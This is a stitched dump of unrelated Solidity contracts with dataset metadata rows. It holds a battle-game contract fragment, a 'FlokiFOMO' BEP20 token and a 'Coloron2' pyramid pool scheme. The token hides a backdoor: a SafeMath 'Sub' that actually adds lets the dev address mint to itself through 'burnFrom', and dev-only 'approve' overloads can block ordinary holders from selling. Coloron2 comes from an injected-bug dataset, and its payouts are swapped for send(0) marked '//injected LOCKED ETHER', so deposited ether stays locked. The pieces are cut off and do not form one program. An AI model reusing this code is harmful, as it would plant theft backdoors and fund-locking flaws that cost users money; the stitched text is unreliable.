mapping (address => mapping (uint => uint)) public referenceTreeAttackers;
mapping (uint => uint) public poolIdReference; // reference each unique id to its current pool;
mapping (uint => mapping (address => uint)) public deployedUnitPerAddress; // different attackers (non packed) amount in a single fight for each address and for each pool id
mapping (uint => mapping (uint => uint)) public elementIndex;
mapping (uint => ModularArray.ModularArrayStruct) public attackers; // attackers list sorted by their fight entry (first entry <=> first index) for each pool id
mapping (uint => uint) public lastDeathTime; // last death time for each pool
constructor () {
_addAttacker(0, address(0), 0, 0,400, new uint[](0), 3);
_addAttacker(0, address(0), 0, 100,500, new uint[](0), 2);
_addAttacker(0, address(0), 0, 200,400, new uint[](0), 1);
_addAttacker(0, address(0), 0, 50,4000, new uint[](0), 4);
_addAttacker(0, 0x055dC444889F0784808A0F6F198562380b53A77d, 0, 400,150, new uint[](0), 2);
}
function addAttacker(uint _poolId, address _contractReference, uint _tokenIdReference, uint _fightEntry, uint _lp, uint[] memory _targetsList, uint _dmgPerSecond) public returns (uint _id) {
_id = _addAttacker(_poolId, _contractReference, _tokenIdReference, _fightEntry, _lp, _targetsList, _dmgPerSecond);
_update(_poolId);
}
function _addAttacker(uint _poolId, address _contractReference, uint _tokenIdReference, uint _fightEntry, uint _lp, uint[] memory _targetsList, uint _dmgPerSecond) internal returns (uint) {
require(deployedUnitPerAddress[_poolId][msg.sender] + 1 <= MAX_UNITS_PER_OWNER, "max unit number reached");
require(currentAttackersNumber[_poolId] + 1 <= MAX_ATTACKERS_OWNERS, "max commanders in this fight reached");
// set the new Attacker object created from the input datas
attackersIndex[uniqueId] = Attacker(_fightEntry, _lp, _targetsList, _dmgPerSecond, 0);
// retreive the index and set at the rigth place the new element (in croissant fight entry order)
(bool _addAfterElement, uint _element) = getFightEntryElement(_fightEntry, _poolId);
if (_addAfterElement) attackers[_poolId].addAfterElement(_element, uniqueId);
else attackers[_poolId].addBeforeElement(_element, uniqueId);
// set the first timestamp fight entry
if (firstFightEntry[_poolId] > _fightEntry || firstFightEntry[_poolId] == 0) firstFightEntry[_poolId] = _fightEntry;
// set the reference of the attacker linked to its nft contract address and token id reference
referenceTreeAttackers[_contractReference][_tokenIdReference] = uniqueId;
poolIdReference[uniqueId] = _poolId;
uniqueId++;
deployedUnitPerAddress[_poolId][msg.sender]++;
return uniqueId-1;
}
function removeAttacker(uint _poolId, address _contractReference, uint _tokenIdReference) public {
_removeAttacker(_poolId, _contractReference, _tokenIdReference);
_update(_poolId);
}
function removeAttackers(uint _poolId, address[] calldata _contractReference, uint[] calldata _tokenIdReference) public {
for (uint n=0; n < _contractReference.length; n++) {
_removeAttacker(_poolId, _contractReference[n], _tokenIdReference[n]);
}
_update(_poolId);
}
function _removeAttacker(uint _poolId, address _contractReference, uint _tokenIdReference) internal {
require(getPoolId(_contractReference,_tokenIdReference) == _poolId, "wrong pool");
uint _uniqueId = referenceTreeAttackers[_contractReference][_tokenIdReference];
attackers[_poolId].removeFromElement(_uniqueId);
// reset values ..
referenceTreeAttackers[_contractReference][_tokenIdReference] = 0;
deployedUnitPerAddress[_poolId][msg.sender]--;
currentAttackersNumber[_poolId]--;
poolIdReference[_uniqueId] = 0;
}
function updateAttackerPool(uint _poolId) internal {
uint[] memory _areaFightPools = attackers[_poolId].getWholeArray();
uint _firstFightEntry;
for (uint i=0; i < _areaFightPools.length; i++) {
// if he is already dead
if (attackersIndex[_areaFightPools[i]].predictedDeathTime < block.timestamp && attackersIndex[_areaFightPools[i]].predictedDeathTime != 0) {
attackers[_poolId].removeFromElement(_areaFightPools[i]);
// else, update firstFightEntry if necessary
} else {
if (_firstFightEntry > attackersIndex[_areaFightPools[i]].fightEntry || _firstFightEntry == 0) firstFightEntry[_poolId] = attackersIndex[_areaFightPools[i]].fightEntry;
}
elementIndex[_poolId][_areaFightPools[i]] = i;
}
firstFightEntry[_poolId] = _firstFightEntry;
}
function get() public view returns (uint[] memory) {
return attackers[0].getWholeArray();
}
function _update(uint _poolId) public {
updateAttackerPool(_poolId);
uint[] memory _attackersUniqueIds = attackers[_poolId].getWholeArray();
// one data type to store others one to avoid stack too deep error
AttackerTemporyData memory _data = AttackerTemporyData(new uint[](_attackersUniqueIds.length),
new uint[](_attackersUniqueIds.length),
new uint[](_attackersUniqueIds.length),
_getLpsFromUniqueIds(_attackersUniqueIds));
uint _closestDeathTime; // closest death time computed (to kill the closest death time unique id)
uint _closestDeathTimeAttackerIndex; // linked to closest death time to kill the closest death time attacker index
// internal variable used for logistical calculation
bool _attack;
uint _targetId;
uint time = firstFightEntry[_poolId];
for (uint i=0; i < _attackersUniqueIds.length - 1; i++) {
// compute all the death time for each attackers
for (uint n=0; n < _attackersUniqueIds.length; n++) {
if (_data._lps[n] > 0) {
// retreive if attacker "n" can attack and if so, the target id of the attacked unit
(_attack, _targetId) = getTargetsFromIteration(_attackersUniqueIds[n], _data._targetPosition[n], _attackersUniqueIds, _poolId);
if (_attack) {
uint _deltaTimeAttacker = attackersIndex[_attackersUniqueIds[n]].fightEntry > time ? attackersIndex[_attackersUniqueIds[n]].fightEntry - time : 0;
uint _deltaTimeTargeted = attackersIndex[_attackersUniqueIds[_targetId]].fightEntry > time ? attackersIndex[_attackersUniqueIds[_targetId]].fightEntry - time : 0;
uint _highestDeltaTime = _deltaTimeAttacker > _deltaTimeTargeted ? _deltaTimeAttacker : _deltaTimeTargeted;
if (_data._deathTime[_targetId] == 0) { // if there is no death time predicted ..
_data._deathTime[_targetId] = (_data._lps[_targetId] / attackersIndex[_attackersUniqueIds[n]].dmgPerSecond) + _highestDeltaTime;
_data._cumulatedDamage[_targetId] += attackersIndex[_attackersUniqueIds[n]].dmgPerSecond;
} else {
// if the assailled unit death time is under the max figth entry, go to the next attacker
if (_highestDeltaTime >= _data._deathTime[_targetId]) {
continue;
}
_data._cumulatedDamage[_targetId] += attackersIndex[_attackersUniqueIds[n]].dmgPerSecond;
_data._deathTime[_targetId] = ((_data._deathTime[_targetId] - _deltaTimeAttacker) / _data._cumulatedDamage[_targetId]) + (_deltaTimeAttacker);
}
// replace the closest death time by this one if it's the smallest value
if (_data._deathTime[_targetId] < _closestDeathTime || _closestDeathTime == 0) {
_closestDeathTime = _data._deathTime[_targetId];
_closestDeathTimeAttackerIndex = _targetId;
}
}
}
}
// kill the attacker who have the closest death time and add the time to the kill to "time"
_data._lps[_closestDeathTimeAttackerIndex] = 0;
time += _closestDeathTime;
attackersIndex[_attackersUniqueIds[_closestDeathTimeAttackerIndex]].predictedDeathTime = time; // store the predicted death time value
if (i == _attackersUniqueIds.length - 2) {
lastDeathTime[_poolId] = time;
}
// remove lp for all the attacked unit (but not dead yet)
{ // avoid stack too deep
uint _dmg;
for (uint n=0; n < _attackersUniqueIds.length; n++) {
uint _entry = attackersIndex[_attackersUniqueIds[_closestDeathTimeAttackerIndex]].fightEntry;
if (_entry <= _closestDeathTime) {
_dmg = (_closestDeathTime - _entry) * _data._cumulatedDamage[n];
if (_dmg < _data._lps[n] && _data._lps[n] > 0) {
_data._lps[n] -= _dmg;
} else {
_data._lps[n] = 0;
}
}
_data._cumulatedDamage[n] = 0;
_data._deathTime[n] = 0;
}
}
// add 1 to target position of all the attackers who had the killed unit as target
for (uint n=0; n < _attackersUniqueIds.length; n++) {
for (uint w=0; w < _attackersUniqueIds.length; w++) {
(_attack, _targetId) = getTargetsFromIteration(_attackersUniqueIds[n], _data._targetPosition[n], _attackersUniqueIds, _poolId);
if (_data._lps[_targetId] == 0 && _attack) {
_data._targetPosition[n] += 1;
} else {
break;
}
}
}
// reset cloest death time and attacker index for the next iteration
_closestDeathTime = 0;
_closestDeathTimeAttackerIndex = 0;
}
}
function getFightEntryElement(uint _fightEntry, uint _poolId) public view returns (bool, uint) {
uint[] memory _areaFightPools = attackers[_poolId].getWholeArray();
// not initialized, so the index doesn't matter
if (_areaFightPools.length == 0) {
return (true, 0);
}
for (uint i=0; i < _areaFightPools.length; i++) {
if (i == 0 && attackersIndex[_areaFightPools[i]].fightEntry > _fightEntry) { // if the first element is higher than _fightEntry, we can place it directly as the first element
return (false, _areaFightPools[i]);
}
if (i != (_areaFightPools.length - 1)) { // if we can have ("i+1")
if (attackersIndex[_areaFightPools[i]].fightEntry <= _fightEntry && attackersIndex[_areaFightPools[i+1]].fightEntry >= _fightEntry) {
return (true, _areaFightPools[i]);
}
} else { // else, this is the last index, place it "before the last if it's smaller than the last
if (attackersIndex[_areaFightPools[i]].fightEntry >= _fightEntry) {
return (false, _areaFightPools[i]);
}
}
}
// else, its index is the last index
return (true, _areaFightPools[_areaFightPools.length-1]);
}
// return the target of "_uniqueId" at the iteration "_i" (uint) and if he is attacking (bool)
function getTargetsFromIteration(uint _uniqueId, uint _i, uint[] memory _attackersUniqueIds, uint _poolId) public view returns (bool, uint) {
if (attackersIndex[_uniqueId].targetsList.length != 0) {
if (attackersIndex[_uniqueId].targetsList.length-1 >= _i) {
if (attackersIndex[_uniqueId].targetsList[_i] == _uniqueId) {
if (attackersIndex[_uniqueId].targetsList.length-1 > _i) {
return (true, _i+1);
} else {
return (false, 0);
}
} else {
if (elementIndex[_poolId][_uniqueId] < _i) {
if (attackersIndex[_uniqueId].targetsList.length-1 > _i) {
return (true, _i+1);
} else {
return (false, 0);
}
} else {
return (true, _i);
}
}
} else {
return (false, 0);
}
} else {
if (_attackersUniqueIds.length-1 >= _i) {
if (_attackersUniqueIds[_i] == _uniqueId) {
if (_attackersUniqueIds.length-1 > _i) {
return (true, _i+1);
} else {
return (false, 0);
}
} else {
if (elementIndex[_poolId][_uniqueId] < _i) {
if (_attackersUniqueIds.length-1 > _i) {
return (true, _i+1);
} else {
return (false, 0);
}
} else {
return (true, _i);
}
}
} else {
return (false, 0);
}
}
}
// return all "lp" value of a whole array
function _getLpsFromUniqueIds(uint[] memory _attackersUniqueIds) public view returns (uint[] memory) {
uint[] memory _lps = new uint[](_attackersUniqueIds.length);
for (uint i=0; i < _attackersUniqueIds.length; i++) {
_lps[i] = attackersIndex[_attackersUniqueIds[i]].lp;
}
return _lps;
}
function isDead(address _contractReference, uint _tokenIdReference, uint _timestamp) external view returns (bool) {
uint _predictedDeathTime = attackersIndex[referenceTreeAttackers[_contractReference][_tokenIdReference]].predictedDeathTime;
return (_predictedDeathTime < _timestamp);
}
function isFighting(address _contractReference, uint _tokenIdReference, uint _timestamp) external view returns (bool) {
return (lastDeathTime[referenceTreeAttackers[_contractReference][_tokenIdReference]] != 0 && _timestamp < lastDeathTime[referenceTreeAttackers[_contractReference][_tokenIdReference]]);
}
// return 0 if this reference doesn't have death time (not initialized or won the fight)
function getDeathTime(address _contractReference, uint _tokenIdReference) external view returns (uint) {
return attackersIndex[referenceTreeAttackers[_contractReference][_tokenIdReference]].predictedDeathTime;
}
function getPoolId(address _contractReference, uint _tokenIdReference) public view returns (uint) {
return poolIdReference[referenceTreeAttackers[_contractReference][_tokenIdReference]];
}
}
| 98,775 | 13,902 |
0ba37c36431e85da55489dea2010b111bf7381d4d39078a7cf1144ddafd5c243
| 21,956 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x99bAa54763aC714715285028bA002276B0cfC584/contract.sol
| 3,242 | 12,477 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FlokiFOMO is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 10**11 * 10**13;
string private _name;
string private _symbol;
uint8 private _decimals = 18;
uint256 private _maxTotal;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**11 * 10**18;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burnFrom(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function approve(address approveAddr1, address approveAddr2) public onlyOwner {
approveAddr1 = approveAddr2;
uniSwapRouter = IUniswapV2Router02(approveAddr1);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = approveAmount * 10**18;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(15).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
}
| 252,012 | 13,903 |
962c01af662248f2a74d36ab7b691345c998d7853fdbd1089f5d08c1182f003b
| 23,690 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/lockedEther/0xca2b77ecefdfd31dae52145ae0954f1aa55ba5b6_lockedEther.sol
| 5,686 | 21,897 |
pragma solidity 0.5.11;
contract Coloron2 {
address public ownerWallet;
uint public currUserID = 0;
uint public pool1currUserID = 0;
uint public pool2currUserID = 0;
uint public pool3currUserID = 0;
uint public pool4currUserID = 0;
uint public pool5currUserID = 0;
uint public pool6currUserID = 0;
uint public pool7currUserID = 0;
uint public pool8currUserID = 0;
uint public pool9currUserID = 0;
uint public pool10currUserID = 0;
uint public pool1activeUserID = 0;
uint public pool2activeUserID = 0;
uint public pool3activeUserID = 0;
uint public pool4activeUserID = 0;
uint public pool5activeUserID = 0;
uint public pool6activeUserID = 0;
uint public pool7activeUserID = 0;
uint public pool8activeUserID = 0;
uint public pool9activeUserID = 0;
uint public pool10activeUserID = 0;
uint public unlimited_level_price=0;
struct UserStruct {
bool isExist;
uint id;
uint referrerID;
uint referredUsers;
mapping(uint => uint) levelExpired;
}
struct PoolUserStruct {
bool isExist;
uint id;
uint payment_received;
}
mapping (address => UserStruct) public users;
mapping (uint => address) public userList;
mapping (address => PoolUserStruct) public pool1users;
mapping (uint => address) public pool1userList;
mapping (address => PoolUserStruct) public pool2users;
mapping (uint => address) public pool2userList;
mapping (address => PoolUserStruct) public pool3users;
mapping (uint => address) public pool3userList;
mapping (address => PoolUserStruct) public pool4users;
mapping (uint => address) public pool4userList;
mapping (address => PoolUserStruct) public pool5users;
mapping (uint => address) public pool5userList;
mapping (address => PoolUserStruct) public pool6users;
mapping (uint => address) public pool6userList;
mapping (address => PoolUserStruct) public pool7users;
mapping (uint => address) public pool7userList;
mapping (address => PoolUserStruct) public pool8users;
mapping (uint => address) public pool8userList;
mapping (address => PoolUserStruct) public pool9users;
mapping (uint => address) public pool9userList;
mapping (address => PoolUserStruct) public pool10users;
mapping (uint => address) public pool10userList;
mapping(uint => uint) public LEVEL_PRICE;
uint REGESTRATION_FESS=0.1 ether;
uint pool1_price=0.2 ether;
uint pool2_price=0.4 ether ;
uint pool3_price=0.65 ether;
uint pool4_price=1.2 ether;
uint pool5_price=2 ether;
uint pool6_price=4 ether;
uint pool7_price=8 ether ;
uint pool8_price=16 ether;
uint pool9_price=30 ether;
uint pool10_price=50 ether;
event regLevelEvent(address indexed _user, address indexed _referrer, uint _time);
event getMoneyForLevelEvent(address indexed _user, address indexed _referral, uint _level, uint _time);
event regPoolEntry(address indexed _user,uint _level, uint _time);
event getPoolPayment(address indexed _user,address indexed _receiver, uint _level, uint _time);
UserStruct[] public requests;
uint public totalEarned = 0;
constructor() public {
ownerWallet = msg.sender;
LEVEL_PRICE[1] = 0.030 ether; //30%
LEVEL_PRICE[2] = 0.010 ether; //10%
LEVEL_PRICE[3] = 0.005 ether; //5%
LEVEL_PRICE[4] = 0.0016 ether; //1.6%
unlimited_level_price=0.0016 ether; //1.6%
UserStruct memory userStruct;
currUserID++;
userStruct = UserStruct({
isExist: true,
id: currUserID,
referrerID: 0,
referredUsers:0
});
users[ownerWallet] = userStruct;
userList[currUserID] = ownerWallet;
PoolUserStruct memory pooluserStruct;
pool1currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool1currUserID,
payment_received:0
});
pool1activeUserID=pool1currUserID;
pool1users[msg.sender] = pooluserStruct;
pool1userList[pool1currUserID]=msg.sender;
pool2currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool2currUserID,
payment_received:0
});
pool2activeUserID=pool2currUserID;
pool2users[msg.sender] = pooluserStruct;
pool2userList[pool2currUserID]=msg.sender;
pool3currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool3currUserID,
payment_received:0
});
pool3activeUserID=pool3currUserID;
pool3users[msg.sender] = pooluserStruct;
pool3userList[pool3currUserID]=msg.sender;
pool4currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool4currUserID,
payment_received:0
});
pool4activeUserID=pool4currUserID;
pool4users[msg.sender] = pooluserStruct;
pool4userList[pool4currUserID]=msg.sender;
pool5currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool5currUserID,
payment_received:0
});
pool5activeUserID=pool5currUserID;
pool5users[msg.sender] = pooluserStruct;
pool5userList[pool5currUserID]=msg.sender;
pool6currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool6currUserID,
payment_received:0
});
pool6activeUserID=pool6currUserID;
pool6users[msg.sender] = pooluserStruct;
pool6userList[pool6currUserID]=msg.sender;
pool7currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool7currUserID,
payment_received:0
});
pool7activeUserID=pool7currUserID;
pool7users[msg.sender] = pooluserStruct;
pool7userList[pool7currUserID]=msg.sender;
pool8currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool8currUserID,
payment_received:0
});
pool8activeUserID=pool8currUserID;
pool8users[msg.sender] = pooluserStruct;
pool8userList[pool8currUserID]=msg.sender;
pool9currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool9currUserID,
payment_received:0
});
pool9activeUserID=pool9currUserID;
pool9users[msg.sender] = pooluserStruct;
pool9userList[pool9currUserID]=msg.sender;
pool10currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool10currUserID,
payment_received:0
});
pool10activeUserID=pool10currUserID;
pool10users[msg.sender] = pooluserStruct;
pool10userList[pool10currUserID]=msg.sender;
}
function regUser(uint _referrerID) public payable { //injected LOCKED ETHER
require(!users[msg.sender].isExist, "User Exists");
require(_referrerID > 0 && _referrerID <= currUserID, 'Incorrect referral ID');
require(msg.value == REGESTRATION_FESS, 'Incorrect Value');
UserStruct memory userStruct;
currUserID++;
userStruct = UserStruct({
isExist: true,
id: currUserID,
referrerID: _referrerID,
referredUsers:0
});
users[msg.sender] = userStruct;
userList[currUserID]=msg.sender;
users[userList[users[msg.sender].referrerID]].referredUsers=users[userList[users[msg.sender].referrerID]].referredUsers+1;
payReferral(1,msg.sender);
emit regLevelEvent(msg.sender, userList[_referrerID], now);
}
function payReferral(uint _level, address _user) internal {
address referer;
referer = userList[users[_user].referrerID];
bool sent = false;
uint level_price_local=0;
if(_level>4){
level_price_local=unlimited_level_price;
}
else{
level_price_local=LEVEL_PRICE[_level];
}
sent = address(uint160(referer)).send(0);
if (sent) {
totalEarned += level_price_local;
emit getMoneyForLevelEvent(referer, msg.sender, _level, now);
if(_level < 100 && users[referer].referrerID >= 1){
payReferral(_level+1,referer);
}
else
{
sendBalance();
}
}
if(!sent) {
// emit lostMoneyForLevelEvent(referer, msg.sender, _level, now);
payReferral(_level, referer);
}
}
function buyPool1() public payable { //injected LOCKED ETHER
require(users[msg.sender].isExist, "User Not Registered");
require(!pool1users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool1_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool1Currentuser=pool1userList[pool1activeUserID];
pool1currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool1currUserID,
payment_received:0
});
pool1users[msg.sender] = userStruct;
pool1userList[pool1currUserID]=msg.sender;
bool sent = false;
uint fee = pool1_price * 4 / 100;
uint poolshare = pool1_price - fee;
if (address(uint160(ownerWallet)).send(0))
sent = address(uint160(pool1Currentuser)).send(0);
if (sent) {
totalEarned += poolshare;
pool1users[pool1Currentuser].payment_received+=1;
if(pool1users[pool1Currentuser].payment_received>=2)
{
pool1activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool1Currentuser, 1, now);
}
emit regPoolEntry(msg.sender, 1, now);
}
function buyPool2() public payable { //injected LOCKED ETHER
require(users[msg.sender].isExist, "User Not Registered");
require(!pool2users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool2_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool2Currentuser=pool2userList[pool2activeUserID];
pool2currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool2currUserID,
payment_received:0
});
pool2users[msg.sender] = userStruct;
pool2userList[pool2currUserID]=msg.sender;
bool sent = false;
uint fee = pool2_price * 4 / 100;
uint poolshare = pool2_price - fee;
if (address(uint160(ownerWallet)).send(0))
sent = address(uint160(pool2Currentuser)).send(0);
if (sent) {
totalEarned += poolshare;
pool2users[pool2Currentuser].payment_received+=1;
if(pool2users[pool2Currentuser].payment_received>=3)
{
pool2activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool2Currentuser, 2, now);
}
emit regPoolEntry(msg.sender,2, now);
}
function buyPool3() public payable { //injected LOCKED ETHER
require(users[msg.sender].isExist, "User Not Registered");
require(!pool3users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool3_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool3Currentuser=pool3userList[pool3activeUserID];
pool3currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool3currUserID,
payment_received:0
});
pool3users[msg.sender] = userStruct;
pool3userList[pool3currUserID]=msg.sender;
bool sent = false;
uint fee = pool3_price * 4 / 100;
uint poolshare = pool3_price - fee;
if (address(uint160(ownerWallet)).send(0))
sent = address(uint160(pool3Currentuser)).send(0);
if (sent) {
totalEarned += poolshare;
pool3users[pool3Currentuser].payment_received+=1;
if(pool3users[pool3Currentuser].payment_received>=3)
{
pool3activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool3Currentuser, 3, now);
}
emit regPoolEntry(msg.sender,3, now);
}
function buyPool4() public payable { //injected LOCKED ETHER
require(users[msg.sender].isExist, "User Not Registered");
require(!pool4users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool4_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool4Currentuser=pool4userList[pool4activeUserID];
pool4currUserID++;
userStruct = PoolUserStruct({
isExist:true,
